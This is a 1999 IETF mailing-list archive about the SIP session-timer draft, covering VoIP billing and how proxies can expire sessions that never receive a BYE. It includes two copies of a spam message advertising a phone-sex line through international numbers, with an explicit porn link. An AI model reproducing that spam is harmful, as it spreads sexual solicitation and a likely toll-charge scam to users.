comments on the mechanisms proposed in the session-timer draft?</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve</FONT>
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Pat.Calhoun@Eng.Sun.COM =
[SMTP:Pat.Calhoun@Eng.Sun.COM]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Friday, February 12, 1999 9:39 AM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Jonathan Rosenberg; Pat.Calhoun@Eng.Sun.COM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Donovan, Steven R. (MCI); =
'iptel@lists.research.bell-labs.com'; 'confctrl@ISI.EDU'; Douglas =
Clowes</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: =
draft-ietf-mmusic-sip-session-timer-00.txt</FONT>
</P>
<BR>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;Patrice =
Calhoun wrote:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; My =
only concern here is how does the service provider offer a service =
*and*</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; make =
at least enough money to recover the capital costs (of course, =
certain</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
providers may want to cover many additional costs, which is outside the =
scope</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; of =
this discussion :).</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;It comes =
back to the same question thats been brought up here on</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;numerous =
occassions - what are you billing for? SIP provides the setup</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;services, =
not the transport services. So, it makes sense for a SIP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;server to =
charge for what it actually does - set the call up. It really</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;doesn't =
make sense, I don't think, to try to bill by the minute for the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;SIP part =
of the call, since its really a transaction service. SIP is</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;only one =
part of the picture, though. There is also transport service -</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;diffserv =
prioritization, for example. A service provider can happily</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;charge by =
the minute,bit, packet, or whatever here.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">This is =
perhaps my mis-understanding. I have been working with the TIA =
recently</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">and they have =
adopted MobileIP/DIAMETER for the next generation cellular</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">data =
networks. When one considers voice over IP using IP cellular phones, =
one</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">quickly =
wonders how the charging will really work. Yes, it is true that =
one</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">will charge =
for network access, but conceivably, one could also charge for</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">calls as =
well. This is especially true if these calls span providers.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Perhaps I have =
all of this wrong. I understand that charging for an LDAP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">query cannot =
amount to much, and perhaps that is all bundled as part of the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">access =
charge. Are there any providers on this list that have an idea on =
how</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">they will =
actually bill for these services?</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">PatC</FONT>
</P>
<BR>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">---------</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">This message =
came from the IETF IPTEL Working Group Mailing List.</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE56C5.CB3AE254--

From confctrl-owner  Fri Feb 12 12:50:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA18402
	for confctrl-outgoing; Fri, 12 Feb 1999 12:50:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA18397
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 12:50:51 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA28222
	for <confctrl@isi.edu>; Fri, 12 Feb 1999 12:50:50 -0800 (PST)
Received: from Eng.Sun.COM (engmail1 [129.146.1.13]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id MAA18690; Fri, 12 Feb 1999 12:50:00 -0800
Received: from hsmpka.eng.sun.com (hsmpka.Eng.Sun.COM [129.146.122.47])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id MAA23763;
	Fri, 12 Feb 1999 12:49:56 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id MAA04666; Fri, 12 Feb 1999 12:49:30 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902122049.MAA04666@hsmpka.eng.sun.com>
Date: Fri, 12 Feb 1999 12:45:31 -0800
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>
Cc: "Douglas Clowes" <dclowes@ozemail.com.au>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>This is an interesting discussion, however I'm not sure that we are going to
>get answers to the questions that Pat is asking.  Only time will tell how
>services providers make money off of IP based telephony services.
>
>However, this is not the purpose of proposing the addition of the session
>timer to the SIP protocol.  The primary purpose is to give the stateful SIP
>Proxy Server a method of determining the validity of the individual sessions
>for which it is keeping state.
>
>Are there comments on the mechanisms proposed in the session-timer draft?

Yes, and I appologize for side-tracking the whole thread. Is there anyway
that we could have shorter INVITEs (perhaps the SIP Server can determine
the length of a session), and have the SIP Client re-register with the 
server periodically, such as:

   SIP Client --------- INVITE ------------> SIP Server
               (some stuff happens here)
   SIP Client < ------- ACK (3 mins) ------- SIP Server
   (2 mins 45 seconds pass, enough to allow for retransmissions)
   SIP Client ---------- FOOBAR -----------> SIP Server
   (where FOOBAR is some message that refreshes the session)

This would allow the SIP Server to have soft-state and time out any sessions
that have not been re-registered (or foobar'ed in the above example).

PatC
>
>Steve
>
>> -----Original Message-----
>> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
>> Sent:	Friday, February 12, 1999 9:39 AM
>> To:	Jonathan Rosenberg; Pat.Calhoun@Eng.Sun.COM
>> Cc:	Donovan, Steven R. (MCI); 'iptel@lists.research.bell-labs.com';
>> 'confctrl@ISI.EDU'; Douglas Clowes
>> Subject:	Re: draft-ietf-mmusic-sip-session-timer-00.txt
>> 
>> 
>> >Patrice Calhoun wrote:
>> >> 
>> >> My only concern here is how does the service provider offer a service
>> *and*
>> >> make at least enough money to recover the capital costs (of course,
>> certain
>> >> providers may want to cover many additional costs, which is outside the
>> scope
>> >> of this discussion :).
>> >
>> >It comes back to the same question thats been brought up here on
>> >numerous occassions - what are you billing for? SIP provides the setup
>> >services, not the transport services. So, it makes sense for a SIP
>> >server to charge for what it actually does - set the call up. It really
>> >doesn't make sense, I don't think, to try to bill by the minute for the
>> >SIP part of the call, since its really a transaction service. SIP is
>> >only one part of the picture, though. There is also transport service -
>> >diffserv prioritization, for example. A service provider can happily
>> >charge by the minute,bit, packet, or whatever here.
>> >
>> 
>> This is perhaps my mis-understanding. I have been working with the TIA
>> recently
>> and they have adopted MobileIP/DIAMETER for the next generation cellular
>> data networks. When one considers voice over IP using IP cellular phones,
>> one
>> quickly wonders how the charging will really work. Yes, it is true that
>> one
>> will charge for network access, but conceivably, one could also charge for
>> calls as well. This is especially true if these calls span providers.
>> 
>> Perhaps I have all of this wrong. I understand that charging for an LDAP
>> query cannot amount to much, and perhaps that is all bundled as part of
>> the
>> access charge. Are there any providers on this list that have an idea on
>> how
>> they will actually bill for these services?
>> 
>> PatC
>> 
>> 
>> ---------
>> This message came from the IETF IPTEL Working Group Mailing List.



From confctrl-owner  Fri Feb 12 20:22:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA05383
	for confctrl-outgoing; Fri, 12 Feb 1999 20:22:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA05378
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 20:22:47 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA05374
	for <confctrl@ISI.EDU>; Fri, 12 Feb 1999 20:22:46 -0800 (PST)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id EAA04796; Sat, 13 Feb 1999 04:21:48 GMT
Received: from dwillispc3 ([166.44.162.169]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990213042216.DNTD27243@dwillispc3>;
          Fri, 12 Feb 1999 22:22:16 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: <Pat.Calhoun@Eng.Sun.COM>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@MCI.COM>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "Douglas Clowes" <dclowes@ozemail.com.au>, <confctrl@ISI.EDU>,
        <iptel@lists.research.bell-labs.com>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Fri, 12 Feb 1999 22:22:01 -0600
Message-ID: <000101be5708$66f2dde0$a9a22ca6@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
In-reply-to: <199902122049.MAA04666@hsmpka.eng.sun.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ahah! Finally back on track.

Pat Calhoun asked
> Steve Donovan said:
> >Are there comments on the mechanisms proposed in the
> session-timer draft?
>
> Yes, and I appologize for side-tracking the whole thread. Is
> there anyway
> that we could have shorter INVITEs (perhaps the SIP Server
> can determine
> the length of a session), and have the SIP Client re-register
> with the
> server periodically, such as:
>
>    SIP Client --------- INVITE ------------> SIP Server
>                (some stuff happens here)
>    SIP Client < ------- ACK (3 mins) ------- SIP Server
>    (2 mins 45 seconds pass, enough to allow for retransmissions)
>    SIP Client ---------- FOOBAR -----------> SIP Server
>    (where FOOBAR is some message that refreshes the session)
>

The problem with this approach is that the SIP server (read, proxy) to
which the client REGISTERs may well not be the one with the
state-keeping probem.

Some calls might be signalled:

C-P1-P2-P3-P4-P5-P6-S

Maybe C registers with P1 and S registers with P6. REGISTERS are
targeted at the proxy acting as a location server -- they don't get
proxied along the chain.

Assume P4 has to keep state, because it is a firewall and needs to know
when to tear the ports down. P4 never sees a register, just the
INVITE-OK-ACK sequence. Maybe P4 sees a BYE at the end of the call, or
maybe C and S just get turned off . . .

How does P4 know when to close the ports? It can't. The timer parameter
gives it a way to expire the sessions . . . alternative to probing the
endpoints.

I had earlier discussed an approach method using SUBSCRIBE/NOTIFY (P4
SUBSCRIBEs to time-mark NOTIFY events on call X from C and S when it
sees the final ACK of INVITE/OK/ACK for call X). Steve Donovan
counterproposed the INFO method and was kind enough to write an ID on
it.

Different solution, but the problem is the same . . .

Can we at least get some consensus that it IS a problem?

Thanks,

--
Dean Willis


From confctrl-owner  Sat Feb 13 03:39:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA16778
	for confctrl-outgoing; Sat, 13 Feb 1999 03:39:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA16769
	for <confctrl@zephyr.isi.edu>; Sat, 13 Feb 1999 03:39:18 -0800 (PST)
Received: from server3.syd.mail.ozemail.net (server3.syd.mail.ozemail.net [203.108.7.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA19548
	for <confctrl@ISI.EDU>; Sat, 13 Feb 1999 03:39:16 -0800 (PST)
Received: from dcloweslap (slsyd62p04.ozemail.com.au [203.108.19.196]) by server3.syd.mail.ozemail.net (8.9.0/8.6.12.IPASS) with SMTP id WAA05929; Sat, 13 Feb 1999 22:38:31 +1100 (EST)
Message-Id: <3.0.3.32.19990213223827.0076ae50@pop.ozemail.com.au>
X-Sender: dclowes@pop.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sat, 13 Feb 1999 22:38:27 +1100
To: Francois Menard Distribution List Management Account <fm-listproc@mediatrix.com>,
        Francois Menard Distribution List Management Account <fm-listproc@mediatrix.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
In-Reply-To: <F16674FCE856D211AC0D00E02910AE0A07B518@INTERNAL>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 07:56 1999-02-12 -0500, Francois Menard Distribution List Management
Account wrote:
>Hi Douglas, how is it in the summer in Australia ?
>

It's warm and wet. Warmer that Sherbrooke, but I'll be in sunny California
in a couple of days.

>I'm not against this scenario, its proven for militarized zones (i.e.
>Intranets in entreprises controlled by MIS). Where I worrry is in DMZs,
>where an ISP forces me to use its gatekeeper.  That's where I'm saying that
>the end point has to become a trusted network element, in the control of the
>ISP, in order to bill by the second/bit.  The control of the session becomes
>in practice when the routers of the ISP refuse to send bits on the network
>on the behalf of non-trusted (to behave according to the ISP's policy) SIP
>end point (I guess that's another form of admission control ...).  This is
>the way that the MSO's are gearing up their VoIP network presently
>(PacketCable).  I.e., if you want to bill by the minute/second/bit, you
>either need to route the media stream through the SIP server and/or make the
>SIP server control the admission of the bits to the IP layer ... that is,
>there needs to be some form of policy decision flowing between a SIP server
>and routers that forwards the media stream bits from SIP endpoints ...

What's an MSO?

The ISP, in this case is trying to be like the LEC. It's more difficult for
them to do so in a deregulated market, with enforced competition. Is that
an oxymoron?

>
>
>So I can have the following, when a SIP server never gets a BYE, it doesn't
>need to ping the end point to see if its still alive, it can simply wait
>until the end-point re-REGISTERs, and then flag the call as terminated, and
>then, query the end point to tell it how many seconds were spent on line
>before the end-point died ... has anybody thought of extending the REGISTER
>message to include the duration of the previous call?  I think that this is
>a pretty cool idea ;-)  Of course, if the end-point never re-registers, the
>timer will still be running ... indefinitely.  We have a new policy on IP
>networks, any call of length greater than 1 million minutes is free ...
>

Well, perhaps less than that.

>BTW, I asked the question today to a supplier of H.323 stacks, as to what
>generally did the commercial gatekeepers do in practice to track the end of
>calls.  The person told me that the gatekeepers generally wait for the next
>registration (i.e. their assumption is that the H.323 terminal will
>re-register within hours), to flag the call as terminated.  They also rely
>on either one of the two legs of the call to send a termination message, so
>the case where the two legs are cut off never happens very frequently.  As
>to what is the mechanism that a gatekeeper is supposed to use to "ping" the
>terminal, that's not in the standard in their opinion.  Personally, I begin
>to like the idea of the end-point presenting the duration of the last call
>in the registration message ...
>

IRR is being used in H.323 to determine if the endpoint is still alive, but
the preference seems to be heading toward gatekeeper routed calls. Here,
you have a TCP connection through the gatekeeper for session control, but
media still goes direct.

>-=Francois=-
>fmenard@mediatrix.com
>

Douglas


From confctrl-owner  Sun Feb 14 07:45:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA01610
	for confctrl-outgoing; Sun, 14 Feb 1999 07:45:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01599
	for <confctrl@zephyr.isi.edu>; Sun, 14 Feb 1999 07:45:40 -0800 (PST)
Received: from hmm-main.houser.com (hmm-main.houser.com [204.57.229.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03094;
	Sun, 14 Feb 1999 07:45:38 -0800 (PST)
Date: Sun, 14 Feb 1999 07:45:38 -0800 (PST)
From: sallyhot@ccsso.org
Message-Id: <199902141545.HAA03094@tnt.isi.edu>
Received: from [38.14.57.110] by hmm-main.houser.com
          (post.office MTA v2.0 0813 ID# 0-17765) with SMTP id AAG296;
          Sat, 13 Feb 1999 13:08:17 -0800
To: caller@aol.com
Subject: Erotic Chat
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Do you like phone sex?  Of course, don't we all? Well, do I have a great service for you, where a live girl is always waiting to fulfill your every sexual desire.  You pay no outrageous premium charges. All you pay is the regular international long distance charge..as low as 48 cents per minute.  So, why not call now? All my girls are hot and waiting to get you off. Just dial  1-664-410-4979. Stop sitting in online chat rooms waiting for someone to talk dirty to you and call us now. Again..the number is  1-664-410-4979. If busy try  1-664-410-3549 or 1-784-490-3388 

Gay? Bi? Curious?...try this number..1-664-410-1208

You must 18 or older to use this service.


<font size=5><a href="http://www.teenagehotel.com/xxx/hotcum/page1.html">CLICK HERE FOR FREE PICS</a></font>

From confctrl-owner  Mon Feb 15 07:55:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13944
	for confctrl-outgoing; Mon, 15 Feb 1999 07:55:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13939
	for <confctrl@zephyr.isi.edu>; Mon, 15 Feb 1999 07:55:56 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14729
	for <confctrl@isi.edu>; Mon, 15 Feb 1999 07:55:55 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id KAA20302;
	Mon, 15 Feb 1999 10:55:21 -0500 (EST)
Message-Id: <199902151555.KAA20302@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-session-timer-00.txt
Date: Mon, 15 Feb 1999 10:55:21 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP Session Timer
	Author(s)	: S. Donovan
	Filename	: draft-ietf-mmusic-sip-session-timer-00.txt
	Pages		: 6
	Date		: 12-Feb-99
	
This document proposes an extension to the SIP specification.  This
extension adds a new message header that is used to specify the
duration of a requested session.

The session timer can be used to limit the total duration of a session
if, for instance, one of the participants in the session wants to
limit the cost of the session.  It can also be used by stateful SIP
Proxy Servers to track the status of sessions for which session state
exists on the servers. Currently a stateful SIP Proxy Server that is
not handling the media stream(s) for the session has no mechinism to
definitively determine the state of all sessions for which it has state.
While the SIP Specification does provide the BYE method for terminating
the session, there is no mechinism for a SIP Proxy Server to detect the
end of a session when the BYE message is not sent or is lost due to
network problems.


A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-session-timer-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-session-timer-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990212162748.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-session-timer-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990212162748.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Feb 15 11:38:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA21682
	for confctrl-outgoing; Mon, 15 Feb 1999 11:38:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21671
	for <confctrl@zephyr.isi.edu>; Mon, 15 Feb 1999 11:38:22 -0800 (PST)
Received: from camcomp1.camcomp.com (camcomp1.camcomp.com [208.5.76.2])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA24227;
	Mon, 15 Feb 1999 11:38:21 -0800 (PST)
From: sallyhot@worldnet.net
Received: from mc/mnet (38.14.57.152) by camcomp1.camcomp.com
 (EMWAC SMTPRS 0.81) with SMTP id <B0001816891@camcomp1.camcomp.com>;
 Mon, 15 Feb 1999 10:58:33 -0500
Date: Mon, 15 Feb 1999 10:58:33 -0500
Message-ID: <B0001816891@camcomp1.camcomp.com>
To: caller@aol.com
Subject: Erotic Chat
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Do you like phone sex?  Of course, don't we all? Well, do I have a great service for you, where a live girl is always waiting to fulfill your every sexual desire.  You pay no outrageous premium charges. All you pay is the regular international long distance charge..as low as 48 cents per minute.  So, why not call now? All my girls are hot and waiting to get you off. Just dial  1-664-410-4979. Stop sitting in online chat rooms waiting for someone to talk dirty to you and call us now. Again..the number is  1-664-410-4979. If busy try  1-664-410-3549 or 1-784-490-3388 

Gay? Bi? Curious?...try this number..1-664-410-1208

You must 18 or older to use this service.


<font size=5><a href="http://www.teenagehotel.com/xxx/hotcum/page1.html">CLICK HERE FOR FREE PICS</a></font>

From confctrl-owner  Mon Feb 15 18:38:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA06918
	for confctrl-outgoing; Mon, 15 Feb 1999 18:38:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA06913
	for <confctrl@zephyr.isi.edu>; Mon, 15 Feb 1999 18:38:55 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA16402
	for <confctrl@ISI.EDU>; Mon, 15 Feb 1999 18:38:54 -0800 (PST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id CAA26877; Tue, 16 Feb 1999 02:35:30 GMT
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.2232.9)
	id <1Z700HNY>; Mon, 15 Feb 1999 19:38:22 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D8577419@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Tom-PT Taylor'" <taylor@nortelnetworks.com>,
        "'confctrl@ISI.EDU'"
	 <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>
Subject: RE: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Mon, 15 Feb 1999 19:38:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE5955.6AD00524"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE5955.6AD00524
Content-Type: text/plain

My apologies, I copied the announcement to both lists because I though there
would be interest on both lists.  Unless anyone objects, I will send all of
my responses only to the confctrl list after this message.

Steve

> -----Original Message-----
> From:	Tom-PT Taylor [SMTP:taylor@nortelnetworks.com]
> Sent:	Friday, February 12, 1999 1:45 PM
> To:	'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
> Subject:	RE: RE: draft-ietf-mmusic-sip-session-timer-00.txt
> 
> The conversation is interesting, but is there any chance it could be
> directed to one list (say confctrl) rather than two? My mail client is
> ending up putting two copies of each message into each of the two
> sub-folders.
> 
> ---------
> This message came from the IETF IPTEL Working Group Mailing List.

------_=_NextPart_001_01BE5955.6AD00524
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: RE: draft-ietf-mmusic-sip-session-timer-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">My apologies, I =
copied the announcement to both lists because I though there would be =
interest on both lists.&nbsp; Unless anyone objects, I will send all of =
my responses only to the confctrl list after this message.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve</FONT>
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
